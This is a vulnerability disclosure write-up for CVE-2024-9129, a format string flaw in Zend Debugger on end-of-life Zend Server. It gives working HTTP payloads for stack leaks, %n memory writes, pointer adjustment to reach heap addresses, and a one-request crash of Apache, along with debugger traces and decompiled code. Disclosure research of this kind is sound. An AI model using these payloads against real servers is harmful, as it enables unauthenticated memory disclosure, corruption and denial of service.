CVE-2024-9129: Format String Injection in Zend Server
Please note
This vulnerability refers to software versions that are end-of-life (EOL) / end-of-service (EOS).
Background
Intro
In this blog post, I want to share some details about a vulnerability I identified in the Zend Server product by Perfoce (CVE-2024-9129), versions 8.5 and prior to version 9.2. The vulnerability is a format string issue, a well-known category of flaws commonly associated with binary exploitation, and in this case, it is exploitable via web (HTTP).
The vulnerability arises from improper handling of user input in one of the parameters of the Zend Debugger component, which is enabled by default in Zend Server when set to developer mode. It is important to note that this vulnerability does not affect the latest versions of Zend Server. As always, maintaining up-to-date software is a best practice and applies in this case as well.
The research process that led me to identify and exploit this vulnerability was both educational, enjoyable, and rewarding, though it certainly required significant effort. This is the first CVE I have been assigned, and I am particularly pleased to have collaborated with Perforce’s security team, which was highly collaborative and deeply committed to addressing vulnerabilities. This proactive approach is truly commendable and, in my opinion, something more vendors should adopt to enhance the security of their customers. Here is the link to their policy on the coordinated disclosure process.
Zend Server & Zend Debugger
Let’s start with some background on Zend Server.
Below is the official description:
“From accelerating development, improving testing, and optimizing scale, Zend Server brings serious PHP to your enterprise. Business-critical PHP applications can be developed and deployed — on-premises or in the cloud — using the world’s leading PHP application platform. With Zend Server, development and operation teams are equipped with the software infrastructure, tools, and best practices for productive collaboration and continuous delivery of their mobile and web apps with exceptional performance, reliability, and security.”
As previously mentioned, the vulnerability originates from one of the components pre-installed in Zend Server: Zend Debugger.
Zend Debugger, “is the PHP extension which should be installed on your Web server in order to perform optimal remote debugging and profiling using Zend Studio, and can be downloaded as a standalone package and installed onto your server.”
Format String Attacks
This post doesn’t aim to explain how a format string attack works; however, before diving into the specifics of the vulnerability, it’s helpful to quickly go over the basics.
A format string attack can happen in memory-unsafe languages (like C) when user input is incorrectly passed to a format function. In a format function, such as printf() or fprintf(), the first argument is a format string that contains text and format specifiers, while the following arguments are the values that replace the specifiers. Here’s an example of correct usage:
#include <stdio.h>
int main()
{
printf("Hello %x", 1337); // output: Hello 539
return 0;
}
But what happens if the number of format specifiers is greater than the number of parameters passed to the format string?
#include <stdio.h>
int main()
{
int num = 1337;
printf("Hello %x %x %x", num); //output: Hello 539 6395b768 429bdc0
return 0;
}
As shown in the image above, the function continues to print values beyond the argument of the format string. Where do these extra values come from? The issue is that if the number of arguments passed to the function is insufficient to satisfy the format string’s requirements, the function will simply pull the next values from the stack.
This is not always true!
It depends on various factors, such as the hardware architecture and calling convention. For example, in __fastcall, the first two arguments are passed in the ECX and EDX registers, while the remaining arguments are passed on the stack
This behavior can have a serious impact on software security. For example, if the format string is fully controlled by user input, an attacker can inject arbitrary format specifiers to access the process’s memory. To make matters worse, certain specifiers, such as %s and %n, allow both reading and writing to memory addresses, treating the corresponding arguments as memory pointers.
Exploit Details
Issue Description
The Zend Debugger module of product Zend Server uses the debug_host parameter, which is vulnerable to a format string attack that allows reading and writing of memory values.
To exploit this vulnerability, the ZendDebugger module must be enabled (which is enabled by default in developer mode). No authentication level is required.
Timeline
| Date | Action |
|---|---|
| 18/09/2024 | Report sent to Perforce |
| 22/10/2024 | MITRE assing CVE-2024-9129 |
| 01/09/2025 | Details published |
Risk Breakdown
Below are the metrics reported by MITRE:
- Risk: Critical
- Score: 9.3
- CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Affected Versions
Zend Server 8.5 and prior to version 9.2 (EOL/EOS)
Exploitation
The debug_host parameter in the ZendDebugger module allows for a format string vulnerability that enables reading and writing of memory values with various levels of freedom:
Memory Leak
It is possible to read values from the stack by inserting format specifiers such as %lx or %p into the debug_host parameter.
GET /index.php/2015/09/10/hello-world/?debug_host=%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx&start_debug=1 HTTP/1.1
Host: localhost
[...]
</script>
<!-- Zend Z-Ray header end -->
Cannot resolve host 7fffff94.7f05924e2920.6b.786c252e786c252e.2e786c252e786c25.1b.3000000010.7ffc61766780.7ffc617666c0.722 0746f6e6e6143.682065766c6f7365
.2e786c252074736f.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e7 86c252e786c25.2e786c252e786c25.
2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e7 86c252e786c25
<!-- START Zend Z-Ray footer -->
<div id="zend-dev-bar" style="display: none;">
<div id="zdb-toolbar-group-serverinfo" class="zdb-toolbar-group zdb-toolbar-group-serverinfo">
[...]
To verify that the printed values are indeed those contained in the stack, follow these steps:
- Set a breakpoint in the
php_printffunction of the apache2 process managed by ZendServer using a debugger (e.g., gef). - Send the HTTP request to reach the breakpoint.
- Print a number of values starting from the stack pointer and verify that they match the returned values.
[#0] Id 1, Name: "apache2", stopped 0x7f0591f6cb30 in php_printf (), reason: BREAKPOINT
[#0] 0x7f0591f6cb30 -> php_printf()
[#1] 0x7f05777e4328 -> debugger_log_connect_error()
[#2] 0x7f05777dfcce -> jmp 0x7f05777dfb08
[#3] 0x7f05777d716e -> zend_debugger_activate()
[#4] 0x7f05777de519 -> xor eax, eax
[#5] 0x7f0591fd64e0 -> cmp eax, Oxffffffff
[#6] 0x7f0591f6eaca -> php_request_startup()
[#7] 0x7f0592082f0a -> test eax, eax
[#8] 0x55a3532a87a0 -> ap_run_handler()
[#9] 0x55a3532a8ce9 -> ap_invoke_handler()
gef> x/10xg $rsp
0x7ffc61765698: 0x00007f05777e4328 0x000000000000001b
0x7ffc617656a8: 0x0000003000600010 0x00007ffc61766780
0x7ffc617656b8: 0x00007ffc617666c0 0x7220746f6e6e6143
0x7ffc617656c8: 0x682065766c6f7365 0x2e786c252074736f
0x7ffc617656d8: 0x2e786c252e786c25 0x2e786c252e786c25
Read/Write
It is possible to use format strings to read and write values from a memory address. To perform a memory address read, follow these steps:
- Read a number of values from memory until reaching an address (for example, by incrementally adding the number of
%lx).
GET /index.php/2015/09/10/hello-world/?debug_host=%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx&start_debug=1 HTTP/1.1
Host: localhost
[...]
</script>
<!-- Zend Z-Ray header end -->
Cannot resolve host 7fffffc8.7f05924e2920.37.2e786c252e786c25.2e786c252e786c25.1b.3000000010.7ffc61766780.7ffc617666c0
<!-- START Zend Z-Ray footer -->
<div id="zend-dev-bar" style="display: none;">
<div id="zdb-toolbar-group-serverinfo" class="zdb-toolbar-group zdb-toolbar-group-serverinfo">
[...]
- Verify that the address belongs to a readable memory area (e.g., the stack).
test@ubuntu14 :~ $ sudo tail /proc/25931/maps
7f0595d8c000-7f0595e44000 rw-p 00000000 00:00 0
7f0595e44000-7f0595e45000 r--s 00000000 08:01 156639 /usr/local/zend/tmp/zshm_CollectorUptimeSHM_0903240952
7f0595e45000-7f0595e59000 rw-p 00000000 00:00 0
7f0595e59000-7f0595e5a000 r--p 00022000 08:01 397513 /lib/x86_64-linux-gnu/ld-2.19.so
7f0595e5a000-7f0595e5b000 rw-p 00023000 co:01 397513 /lib/x86_64-linux-gnu/ld-2.19.so
7f0595e5b000-7f0595e5c000 rw-p 00000000 00:00 0
7ffc61749000-7ffc6176a000 rw-p 00000000 00:00 0 [stack]
7ffc6179a000-7ffc6179d000 r--p 00000000 00:00 0 [vvar]
7ffc6179d000-7ffc6179f000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
- Replace the parameter corresponding to the chosen address (e.g., the last
%lx) with the%sparameter to use the address as a pointer and read the value contained within it. The%sparameter is normally used to read a string, and thus, it will use the last value pointed to in the stack to read. However, it is not guaranteed that the bytes contained within the address are printable values, so it is advisable in such cases to display the result in hexadecimal.
GET /index.php/2015/09/10/hello-world/?debug_host=%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%s&start_debug=1 HTTP/1.1
Host: localhost
[...]
</script>
<!-- Zend Z-Ray header end -->
Cannot resolve host
7fffffc9.7f05924e2920.36.2e786c252e786c25.2e786c252e786c25.1b.3000000010.7ffc61766780. gva6�
<!-- START Zend Z-Ray footer -->
<div id="zend-dev-bar" style="display: none; ">
[...]
00000770 2e 37 66 66 63 36 31 37 36 36 37 38 30 2e 20 67 .7ffc61766780. g
00000780 76 61 fc 7f 3c 21 2d 2d 20 53 54 41 52 54 20 5a vaü▯<!-- START Z
- Verify that the value read is indeed the one contained at the address using a debugger.
[#0] Id 1, Name: "apache2", stopped 0x7f0591f6cb30 in php_printf (), reason: BREAKPOINT
[#0] 0x7f0591f6cb30 -> php_printf()
[#1] 0x7f05777e4328 -> debugger_log_connect_error()
[#2] 0x7f05777dfcce -> jmp 0x7f05777dfb08
[#3] 0x7f05777d716e -> zend_debugger_activate()
[#4] 0x7f05777de519 -> xor eax, eax
[#5] 0x7f0591fd64e0 -> cmp eax, Oxffffffff
[#6] 0x7f0591f6eaca -> php_request_startup()
[#7] 0x7f0592082f0a -> test eax, eax
[#8] 0x55a3532a87a0 -> ap_run_handler()
[#9] 0x55a3532a8ce9 -> ap_invoke_handler()
gef> x/s 0x7ffc617666c0
0x7ffc617666c0: " gva\374\177"
gef> x/xg 0x7ffc617666c0
0x7ffc617666c0: 0x00007ffc61766720
To perform a memory address write, follow these steps:
- Read a number of values from memory until reaching an address (for example, by incrementally adding the number of
%lx). - Verify that the address belongs to a writable memory area (e.g., the stack).
- Set a breakpoint at the beginning of the
php_printffunction and another one at the end (e.g., at the return statement) to read the value before and after the write. - Replace the parameter corresponding to the chosen address (e.g., the last
%lx) with the%nparameter to use the address as a pointer for writing. The%nparameter is used to write the number of characters printed so far into the chosen address.
GET /index.php/2015/09/10/hello-world/?debug_host=%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%n&start_debug=1 HTTP/1.1
Host: localhost
[...]
</script>
<!-- Zend Z-Ray header end -->
Cannot resolve host
7fffffc9.7f05924e2920.36.2e786c252e786c25.2e786c252e786c25.1b.3000000010.7ffc61766780.
<!-- START Zend Z-Ray footer -->
<div id="zend-dev-bar" style="display: none; ">
[...]
- After sending the request and reaching the first breakpoint, read the value of the chosen address.
[#0] Id 1, Name: "apache2", stopped 0x7f0591f6cb30 in php_printf (), reason: BREAKPOINT
[#0] 0x7f0591f6cb30 -> php_printf()
[#1] 0x7f05777e4328 -> debugger_log_connect_error()
[#2] 0x7f05777dfcce -> jmp 0x7f05777dfb08
[#3] 0x7f05777d716e -> zend_debugger_activate()
[#4] 0x7f05777de519 -> xor eax, eax
[#5] 0x7f0591fd64e0 -> cmp eax, Oxffffffff
[#6] 0x7f0591f6eaca -> php_request_startup()
[#7] 0x7f0592082f0a -> test eax, eax
[#8] 0x55a3532a87a0 -> ap_run_handler ()
[#9] 0x55a3532a8ce9 -> ap_invoke_handler()
gef> x/s 0x7ffc617666c0
0x7ffc617666c0: " gva\374\177"
gef> x/xg 0x7ffc617666c0
0x7ffc617666c0: 0x00007ffc61766720
gef> c
Continuing.
Breakpoint 2, 0x00007f0591f6cbe6 in php_printf () from /usr/lib/apache2/modules/libphp5.so
- In the debugger, continue until reaching the second breakpoint and verify that the value has indeed been overwritten.
[#0] Id 1, Name: "apache2", stopped 0x7f0591f6cbe6 in php_printf (), reason: BREAKPOINT
[#0] 0x7f0591f6cbe6 -> php_printf()
[#1] 0x7f05777e4328 -> debugger_log_connect_error()
[#2] 0x7f05777dfcce -> jmp 0x7f05777dfb08
[#3] 0x7f05777d716e -> zend_debugger_activate()
[#4] 0x7f05777de519 -> xor eax, eax
[#5] 0x7f0591fd64e0 -> cmp eax, Oxffffffff
[#6] 0x7f0591f6eaca -> php_request_startup()
[#7] 0x7f0592082f0a -> test eax, eax
[#8] 0x55a3532a87a0 -> ap_run_handler ()
[#9] 0x55a3532a8ce9 -> ap_invoke_handler()
gef> x/s 0x7ffc617666c0
0x7ffc617666c0: "j"
gef> x/x 0x7ffc617666c0
0x7ffc617666c0: 0x6a
Arbitrary Read / Arbitrary Write
It is also possible to exploit the vulnerability to read and write from an address arbitrarily chosen by the user (with some limitations). A simple approach would be to find the offset in the stack corresponding to the string inserted by the user and use that as a pointer to read and write using %s and %n. This, of course, requires that the string entered by the user contains the bytes corresponding to the address they want to read/write.
However, in this case, this approach is not allowed because many bytes, such as the commonly used byte 0x00, are not correctly interpreted by the web server in HTTP requests.
00000000 47 45 54 20 2f 69 6e 64 65 78 2e 70 68 70 2f 32 GET /index.php/2
00000010 30 31 35 2f 30 39 2f 31 30 2f 68 65 6c 6c 6f 2d 015/09/10/hello-
00000020 77 6f 72 6c 64 2f 3f 64 65 62 75 67 5f 68 6f 73 world/?debug_hos
00000030 74 3d 25 6c 78 2e 25 6c 78 2e 25 6c 78 2e 25 73 t=%lx.%lx.%lx.%s
00000040 2e 00 41 41 41 41 41 41 41 26 73 74 61 72 74 5f . AAAAAAA&start_
00000050 64 65 62 75 67 3d 31 20 48 54 54 50 2f 31 2e 31 debug=1 HTTP/1.1
00000060 Od Oa 48 6f 73 74 3a 20 6c 6f 63 61 6c 68 6f 73 Host: localhos
00000070 74 t
HTTP/1.1 400 Bad Request
Date: Wed, 11 Sep 2024 13:22:49 GMT
Server: Apache/2.4.7 (Ubuntu)
Content-Length: 300
Connection: close
Content-Type: text/html; charset=iso-8859-1
<! DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<title>
400 Bad Request
</title>
</head>
<body>
<h1>
Bad Request
</h1>
<p>
Your browser sent a request that this server could not understand. <br />
</p>
<hr>
<address>
Apache/2.4.7 (Ubuntu) Server at 127.0.0.1 Port 80
</address>
</body>
</html>
A possible solution to this problem is to look in memory (via the format string) for a value whose most significant bytes (MSB) match those of the address we want to read/write, and then overwrite only the least significant bytes (LSB). Once this is done, we will have our pointer to the chosen address. The limitation of this technique is that the LSB must also contain valid bytes, and it is necessary to find values whose MSB are the ones of interest. Fortunately (or unfortunately), from the tests conducted, addresses
corresponding to different memory areas were found in the stack.
[...]
</script>
<!-- Zend Z-Ray header end -->
Cannot resolve host
7ffffee0.7f05924e2920.11f.2e786c252e786c25.2e786c252e786c25.1b.3000000010.7ffc61766780.7ffc617666c0.72 20746f6e6e6143.682065766c6f7365.2e786c252074736f.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e
786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e
786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e
786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e
786c252e 786c25. 2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e
7966.252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.41414141786c25.2e78
6c252e786c25.41414141786c25.10.1.7f057d805068.7f0579b17890.7f057d8095f4.7f05924e20c0.1.7ffc61765a50.7f
fc61767d60.7f05924e25c0.0.7f05777d8c83.55a30000007c.7f0580910f83.6f5c.7f059537c760.55a354b4fc18.7f0579
b17720.5552f2710AAAA <!-- START Zend Z-Ray footer -->
<div id="zend-dev-bar" style= display: none; ">
[...]
[...]
7f05795da000-7f05795de000 rw-p 00000000 00:00 0
7f05795de000-7f057d5de000 rw-s 00000000 00:05 1084100 /dev/zero (deleted
)
7f057d5de000-7f057d605600 r-xp 00000000 08:01 154447 /usr/local/zend/li
b/opcache/php-5.5.x/opcache.so
7f057d605660-7f057d805660 ---p 00027600 08:01 154447 /usr/local/zend/li
b/opcache/php-5.5.x/opcache.so
7f057d805000-7f057d808000 rw-p 00027000 08:01 154447 /usr/local/zend/li
b/opcache/php-5.5.x/opcache.so
7f057d808000-7f057d812000 rw-p 00000000 00:00 0
[...]
7f0595e59000-7f0595e5a000 r--p 00022000 08:01 397513 /lib/x86_64-
linux-gnu/ld-2.19.so
7f0595e5a000-7f0595e5b000 rw-p 00023000 08:01 397513 /lib/x86_64-
linux-gnu/ld-2.19.so
7f0595e5b000-7f0595e5c000 rw-p 00000000 00:00 0
7ffc61749000-7ffc6176a000 rw-p 00000000 00:00 0 [stack]
7ffc6179a000-7ffc6179d000 r--p 00000000 00:00 0 [vvar]
7ffc6179d000-7ffc6179f000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601600 r-xp 00000000 00:00 0 [vsyscall]
[...]
55a3534eb000-55a3534ef000 rw-p 0009c000 08:01 151744 /usr/sbin/
apache2
55a3534ef000-55a3534f2000 rw-p 00000000 00:00 0
55a354b14000-55a354b35000 rw-p 00000000 00:00 0 [heap]
55a354b35000-55a355430000 rw-p 00000000 00:00 0 [heap]
55a355430000-55a356755000 rw-p 00000000 00:00 0 [heap]
7f0570000000-7f6570021000 rw-p 00000000 00:00 0
7f0570021600-7f0574000000 ---p 00000000 00:00 0
7f057658c000-7f057658d000 ---p 00000000 00:00 0
[...]
Let’s assume, for example, that we want to read/write from the heap at the address 0x55a354b40048, which is not directly present in the values returned by the format string. To do this, we need to follow these steps:
- Identify a value from the format string that shares the same MSB as the chosen address and find the corresponding offset, in this case,
0x55a354b4fc18.
GET /index.php/2015/09/10/hello-world/?debug_host=%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx..%lx.%lx.%lx.AAAA&start_debug=1 HTTP/1.1
Host: localhost
[...]
</script>
<!-- Zend Z-Ray header end -->
Cannot resolve host
7ffffee7.7f05924e2920.118.2e786c252e786c25.2e786c252e786c25.1b.3000000010.7ffc61766780.7ffc617666c0.7220746f6e6e6143.682065766c6f7365.2e786c252074736f.2e786c252e786c25.2e786c252e786c25.
2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.
2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.
2e786c252e786c25.414141412e786c25.2e786c252e786c00.414141412e786c25.7f057d805000.10.1.7f057d805068.7f0579b17890.7f057d8095f4.
7f05924e20c0.1.7ffc61765a50.7ffc61767d60.7f05924e25c0.0.7f05777d8c83.55a30000007c.7f0580910f83.6f5c.7f059537c760.55a354b4fc18.AAAA
<!-- START Zend Z-Ray footer -->
<div id="zend-dev-bar" style="display: none; ">
[...]
- Insert characters until reaching the address and overwrite the LSB.
GET /index.php/2015/09/10/hello-world/?debug_host=%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx..%lx.%lx.%lx.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&start_debug=1 HTTP/1.1
Host: localhost
[...]
</script>
<!-- Zend Z-Ray header end -->
Cannot resolve host
7ffffe5e.7f05924e2920.1a1.4141414141414141.4141414141414141.1b.3000000010.7ffc61766780.7ffc617666c0.7220746f6e6e6143.682065766c6f7365.2e786c252074736f.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.
2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.
2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.
2e786c252e786c25.2e786c252e786c25.2e786c252e 786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25. 414141412e786c25.4141414141414141.4141414141414141.4141414141414141.4141414141414141.
4141414141414141.4141414141414141.4141414141414141.4141414141414141.4141414141414141.4141414141414141.4141414141414141.4141414141414141.4141414141414141.4141414141414141.4141414141414141.
4141414141414141.4141414141414141.4141414141410041.4141414141414141.55a354b40041.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<!-- START Zend Z-Ray footer -->
<div id="zend-dev-bar" stvle="display: none; ">
[...]
- Adjust the bytes sent to point to the target address.
00000100 78 2e 25 6c 78 2e 25 6c 78 2e 25 6c 78 2e 25 6c x.%lx.%lx.%lx.%l
00000110 78 2e 25 6c 78 2e 25 6c 78 2e 25 6c 78 2e 25 6c x.%lx.%lx.%lx.%l
00000120 78 2e 25 6c 78 2e 25 6c 78 2e 25 6c 78 2e 25 6c x.%lx.%lx.%lx.%l
00000130 78 2e 41 41 41 41 41 41 41 41 41 41 41 41 41 41 x.AAAAAAAAAAAAAA
00000140 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000150 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000160 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000170 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000180 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000190 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000001a0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000001bo 41 41 41 41 41 41 41 41 41 41 41 41 41 41 48 26 AAAAAAAAAAAAAAH&
000001co 73 74 61 72 74 5f 64 65 62 75 67 3d 31 20 48 54 start_debug=1 HT
000001do 54 50 2f 31 2e 31 Od Oa 48 6f 73 74 3a 20 6c 6f TP/1.1 Host: lo
000001e0 63 61 6c 68 6f 73 74 calhost
[...]
</script>
<!-- Zend Z-Ray header end -->
Cannot resolve host
7ffffe5e.7f05924e2920.1a1.4141414141414141.4141414141414141.1b.3000000010.7ffc61766780.7ffc617666c0.7220746f6e6e6143.682065766c6f7365.2e786c252074736f.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.
2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.
2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.
2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.414141412e786c25.4141414141414141.4141414141414141.4141414141414141.4141414141414141.
4141414141414141. 4141414141414141.4141414141414141.4141414141414141.4141414141414141.4141414141414141.4141414141414141.4141414141414141.4141414141414141.4141414141414141.4141414141414141.
4141414141414141.4141414141414141.4141414141410048.4141414141414141.55a354b40048.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH
<!--START Zend Z-Ray footer -->
<div id="zend-dev-bar" style="display: none; ">
[...]
At this point, we can proceed with simple reads or writes.
Case “Failed to resolve host”
In the previous PoCs, it can be observed that the server responds with "Cannot resolve host…". By inserting the character , within debug_host, we enter a different area of the code (where multiple hosts are handled), and the server responds with something like "Failed to resolve host". This area is also affected by the same vulnerability.
GET /index.php/2015/09/10/hello-world/?debug_host=%lx.%lx,%lx.%lx,%lx.%lx&start_debug=1 HTTP/1.1
Host: localhost
[...]
</script>
<!-- Zend Z-Ray header end -->
Failed to resolve host '7fffff99.7f05924e2920'. Failed to resolve host '66.6572206f74206465'. Failed to resolve host '6f682065766c6f73.1b'. <!-- START Zend Z-Ray footer -->
<div id="zend-dev-bar" style="display: none;">
[...]
Crashing the process
So far, the ability to read and write in various memory areas has been demonstrated. But what happens if we try to read from a memory area where reading is not possible or write to an area where writing is not allowed? In these cases, the Apache process handling the request crashes with a SIGSEGV error.
GET /index.php/2015/09/10/hello-world/?debug_host=%n&start_debug=1 HTTP/1.1
Host: localhost
[#0] Id 1, Name: "apache2", stopped 0x7f0591f730d4 in ?? (), reason: SIGSEGV
[#0] 0x7f0591f730d4 -> mov DWORD PTR [rax], edx
[#1] 0x7f0591f73efb -> vspprintf()
[#2] 0x7f0591f6cbc5 -> php_printf()
[#3] 0x7f05777e4328 -> debugger_log_connect_error()
[#4] 0x7f05777dfcce -> jmp 0x7f05777dfb08
[#5] 0x7f05777d716e -> zend_debugger_activate()
[#6] 0x7f05777de519 -> xor eax, eax
[#7] 0x7f0591fd64e0 -> cmp eax, Oxffffffff
[#8] 0x7f0591f6eaca -> php_request_startup()
[#9] 0x7f0592082f0a -> test eax, eax
gef> c
Continuing.
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
It is therefore possible to crash an Apache process with a single HTTP request.
Source Code Analysis
By decompiling the ZendDebugger.so library, it is possible to view the portion of code that handles the “Cannot resolve host” case and the code that handles the “Failed to resolve host” case.
Case “Cannot resolve host”
As shown in the image below, when the character , is not present, the function debugger_log_connect_error_ is executed with the string "Cannot resolve host %s".
Decompile: FUN_7f05777df5c0 - (ZendDebugger8_5_20.so)
---
[...]
/* check if debug_host contains comma */
variable = strchr(debug_host_user_input, 0x2c);
iVar2 = iVarl;
if (variable == (char *) 0x0) {
iVar3 = zend_debugger_lookup_hostname (debug_host_user_input, local_f8.sa_data + 2,1);
if (iVar3 == -1) {
debugger_log_connect_error ("Cannot resolve host %s", debug_host_user_input);
}
else {
iVar3 = zend_debugger_check_ip_allowed(&local_f8, 0x10,debug_host_user_input,&local_108);
if (iVar3 == 0) {
iVar3 = connect(iVarl, &local_f8,0x10);
if (iVar3 == 0) {
LAB_7f05777df905:
local_10c = 1;
setsockopt(iVar2, 6,1, &local_10c, 4);
piVar5 = (int *)_emalloc(0x10);
*piVar5 = iVar2;
DAT_7f0577a05dd0 = piVar5;
uVar6 = host_port_to_string(debug_host_user_input, local_llc, iVar10);
*(undefined8 *) (piVar5 + 2) = uVar6;
_efree (debug_host_user_input) ;
return 0;
}
piVar5 = _errno_location();
variable = strerror(*piVar5);
debugger_error (2, "Cannot connect to host %s. %s",debug_host_user_input, variable);
}
else {
debugger_log_connect_error("%s",local_108);
efree(local_108);
}
}
}
By setting a breakpoint on the call of this function, it is possible to see that the parameter passed along with the string "Cannot resolve host %s" is indeed the debug_host parameter provided by the user.
GET /index.php/2015/09/10/hello-world/?debug_host=TEST.%x&start_debug=1 HTTP/1.1
Host: localhost
[...]
</script>
<!-- Zend Z-Ray header end -->
Cannot resolve host TEST.7fffffe4
<!-- START Zend Z-Ray footer -->
<div id="zend-dev-bar" style="display: none;">
[...]
0x7f05777dfcc9 call 0x7f05777d3610 <debugger_log_connect_error@plt>
debugger_log_connect_error@plt (
$rdi = 0x00007f05777f5e2e -> "Cannot resolve host %s",
$rsi = 0x000055a354b8be80 -> 0x0078252e54534554 ("TEST.%x"?)
)
Upon decompiling the debugger_log_connect_error function, we can observe several portions of code.
Decompile: debugger_log_connect_error - (ZendDebugger8_5_20.so)
---
[...]
string = 0x654420646e655a5b;
local_10c0 = local_b8;
local_8a8 = 0;
argptr = 8;
local_10cc = 0x30;
//string = [Zend Debugger] Cannot resolve host %s
strncat((char *) &string, param_9, 0x7fe);
local_b9 = 0;
// print [Zend Debugger] Cannot resovle host $debug_host
vsnprintf(output_string, 0x7ff, (char *) &string, &argptr);
php_log_err(output_string);
cVarl = zend_debugger_expose_remotely();
if (cVarl != '\0') {
local_10c8 = &stack0x00000008;
argptr = 8;
local_10c0 = local_b8;
local_10cc = 0x30;
iVar2 = vsnprintf (output_string, 0x7ff,param_9, &argptr);
// VULN: call php_printf with "Cannot resolve host $debug_host"
( *_php_printf) (output_string);
uVar4 = (ulong) iVar2;
if (0x7ff < uVar4) {
uVar4 = 0x7ff;
}
send_debugger_header_ex(output_string, uVar4);
_zend_bailout("zend_debugger_output.c", 0x87);
}
return;
